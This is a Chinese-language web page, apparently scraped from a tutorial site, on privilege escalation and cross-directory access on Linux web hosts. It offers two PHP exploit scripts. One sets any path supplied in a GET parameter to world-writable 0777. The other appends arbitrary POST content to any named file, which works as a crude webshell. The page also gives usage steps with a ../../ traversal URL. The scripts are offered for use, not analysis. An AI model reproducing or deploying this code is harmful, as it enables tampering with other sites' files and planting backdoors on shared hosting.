linux提权之跨目录访问拿webshell代码 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    linux主机的权限设置一般情况下都很松散,少有的一些还是不能直接跨目录访问,

linux提权之跨目录访问拿webshell代码

    在linux不能提权的情况下,可以试试这些代码来跨目录试试。

    第一个exp代码:

    PHP代码

    $path= stripslashes($_GET['path']);

    $ok= chmod ($path, 0777);

    if ($ok== true)

    echo CHMOD OK , Permission editable file or directory. Permission to write;

    ?>

    把以上代码保存为pahuai.com.PHP

    访问http://www.ckpis.com/pahuai.com.php?path=../../要跨的目录/index.php

    这里的index.PHP是要修改权限的文件。

    第二个exp代码:

    PHP代码

    @$filename= stripslashes($_POST['filename']);

    @$mess= stripslashes($_POST['mess']);

    $fp= @fopen({$_POST['filename']}, 'a');

    @fputs($fp,$mess);

    @fclose($fp);

    ?>


    CODE :

     

    Changing CHMOD Permissions Exploit – Contact : the_gl4di4t0r[AT]hotmail[DOT]com

    把代码保存为ckpis.com.php注意代码中的路径,

电脑资料

linux提权之跨目录访问拿webshell代码》(https://www.unjs.com)。

    用的时候要改成访问的目录和文件。

最新文章